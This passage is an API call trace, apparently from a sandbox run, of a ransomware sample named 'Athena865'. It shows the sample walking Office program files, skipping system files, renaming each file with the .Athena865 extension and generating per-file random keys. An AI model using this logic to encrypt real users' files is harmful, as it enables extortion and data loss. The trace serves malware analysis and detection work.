0x5391d0 [0077.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.579] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.580] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.580] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.580] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ea60, lpName=0x0) returned 0x17c [0077.582] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ea60) returned 0x2d50000 [0077.592] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.593] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.593] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.594] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.597] CloseHandle (hObject=0x17c) returned 1 [0077.597] CloseHandle (hObject=0x154) returned 1 [0077.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.598] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0077.598] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.598] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.598] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".") returned 1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="..") returned 1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="windows") returned -1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="bootmgr") returned 1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="temp") returned -1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="pagefile.sys") returned -1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="boot") returned 1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="ids.txt") returned 1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="ntuser.dat") returned -1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="perflogs") returned -1 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2="MSBuild") returned 1 [0077.599] lstrlenW (lpString="MSPST32.DLL") returned 11 [0077.599] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSPST32.DLL" | out: lpString1="MSPST32.DLL") returned="MSPST32.DLL" [0077.599] lstrlenW (lpString="MSPST32.DLL") returned 11 [0077.599] lstrlenW (lpString="Athena865") returned 9 [0077.599] lstrcmpiW (lpString1="PST32.DLL", lpString2="Athena865") returned 1 [0077.599] lstrlenW (lpString=".dll") returned 4 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".dll") returned 1 [0077.599] lstrlenW (lpString=".lnk") returned 4 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".lnk") returned 1 [0077.599] lstrlenW (lpString=".ini") returned 4 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".ini") returned 1 [0077.599] lstrlenW (lpString=".sys") returned 4 [0077.599] lstrcmpiW (lpString1="MSPST32.DLL", lpString2=".sys") returned 1 [0077.599] lstrlenW (lpString="MSPST32.DLL") returned 11 [0077.599] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.Athena865") returned 64 [0077.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll.athena865"), dwFlags=0x1) returned 1 [0077.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.600] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1663920) returned 1 [0077.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.601] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.601] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.602] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.602] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1966b0, lpName=0x0) returned 0x17c [0077.603] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1966b0) returned 0x2d50000 [0077.655] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.656] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.656] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.657] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.671] CloseHandle (hObject=0x17c) returned 1 [0077.671] CloseHandle (hObject=0x154) returned 1 [0077.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.678] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".") returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="..") returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="windows") returned -1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="bootmgr") returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="temp") returned -1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="pagefile.sys") returned -1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="boot") returned 1 [0077.678] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="ids.txt") returned 1 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="ntuser.dat") returned -1 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="perflogs") returned -1 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2="MSBuild") returned 1 [0077.679] lstrlenW (lpString="MSPUB.EXE") returned 9 [0077.679] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSPUB.EXE" | out: lpString1="MSPUB.EXE") returned="MSPUB.EXE" [0077.679] lstrlenW (lpString="MSPUB.EXE") returned 9 [0077.679] lstrlenW (lpString="Athena865") returned 9 [0077.679] lstrlenW (lpString=".dll") returned 4 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".dll") returned 1 [0077.679] lstrlenW (lpString=".lnk") returned 4 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".lnk") returned 1 [0077.679] lstrlenW (lpString=".ini") returned 4 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".ini") returned 1 [0077.679] lstrlenW (lpString=".sys") returned 4 [0077.679] lstrcmpiW (lpString1="MSPUB.EXE", lpString2=".sys") returned 1 [0077.679] lstrlenW (lpString="MSPUB.EXE") returned 9 [0077.679] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.Athena865") returned 62 [0077.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.athena865"), dwFlags=0x1) returned 1 [0077.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.680] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14371688) returned 1 [0077.680] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.681] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.681] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.681] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.682] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdb4e70, lpName=0x0) returned 0x17c [0077.683] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xc00000, dwNumberOfBytesToMap=0x1b4e70) returned 0x2d50000 [0077.819] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.819] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.819] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.820] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.835] CloseHandle (hObject=0x17c) returned 1 [0077.835] CloseHandle (hObject=0x154) returned 1 [0077.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.844] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="MSPUBE~1.MAN")) returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="..") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="windows") returned -1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="bootmgr") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="temp") returned -1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="pagefile.sys") returned -1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="boot") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="ids.txt") returned 1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="ntuser.dat") returned -1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="perflogs") returned -1 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2="MSBuild") returned 1 [0077.844] lstrlenW (lpString="mspub.exe.manifest") returned 18 [0077.844] lstrcpyW (in: lpString1=0x241e89e, lpString2="mspub.exe.manifest" | out: lpString1="mspub.exe.manifest") returned="mspub.exe.manifest" [0077.844] lstrlenW (lpString="mspub.exe.manifest") returned 18 [0077.844] lstrlenW (lpString="Athena865") returned 9 [0077.844] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0077.844] lstrlenW (lpString=".dll") returned 4 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".dll") returned 1 [0077.844] lstrlenW (lpString=".lnk") returned 4 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".lnk") returned 1 [0077.844] lstrlenW (lpString=".ini") returned 4 [0077.844] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".ini") returned 1 [0077.844] lstrlenW (lpString=".sys") returned 4 [0077.845] lstrcmpiW (lpString1="mspub.exe.manifest", lpString2=".sys") returned 1 [0077.845] lstrlenW (lpString="mspub.exe.manifest") returned 18 [0077.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest.Athena865") returned 71 [0077.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0077.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.850] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1207) returned 1 [0077.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.850] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.851] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.851] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.851] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0, lpName=0x0) returned 0x17c [0077.853] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c0) returned 0x100000 [0077.857] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.858] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.858] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.858] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.858] CloseHandle (hObject=0x17c) returned 1 [0077.858] CloseHandle (hObject=0x154) returned 1 [0077.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.859] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="..") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="windows") returned -1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="bootmgr") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="temp") returned -1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="pagefile.sys") returned -1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="boot") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="ids.txt") returned 1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="ntuser.dat") returned -1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="perflogs") returned -1 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2="MSBuild") returned 1 [0077.859] lstrlenW (lpString="MSPUB.TLB") returned 9 [0077.859] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSPUB.TLB" | out: lpString1="MSPUB.TLB") returned="MSPUB.TLB" [0077.859] lstrlenW (lpString="MSPUB.TLB") returned 9 [0077.859] lstrlenW (lpString="Athena865") returned 9 [0077.859] lstrlenW (lpString=".dll") returned 4 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".dll") returned 1 [0077.859] lstrlenW (lpString=".lnk") returned 4 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".lnk") returned 1 [0077.859] lstrlenW (lpString=".ini") returned 4 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".ini") returned 1 [0077.859] lstrlenW (lpString=".sys") returned 4 [0077.859] lstrcmpiW (lpString1="MSPUB.TLB", lpString2=".sys") returned 1 [0077.859] lstrlenW (lpString="MSPUB.TLB") returned 9 [0077.860] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB.Athena865") returned 62 [0077.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb.athena865"), dwFlags=0x1) returned 1 [0077.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.861] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=261928) returned 1 [0077.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.861] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.862] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.862] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.862] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, 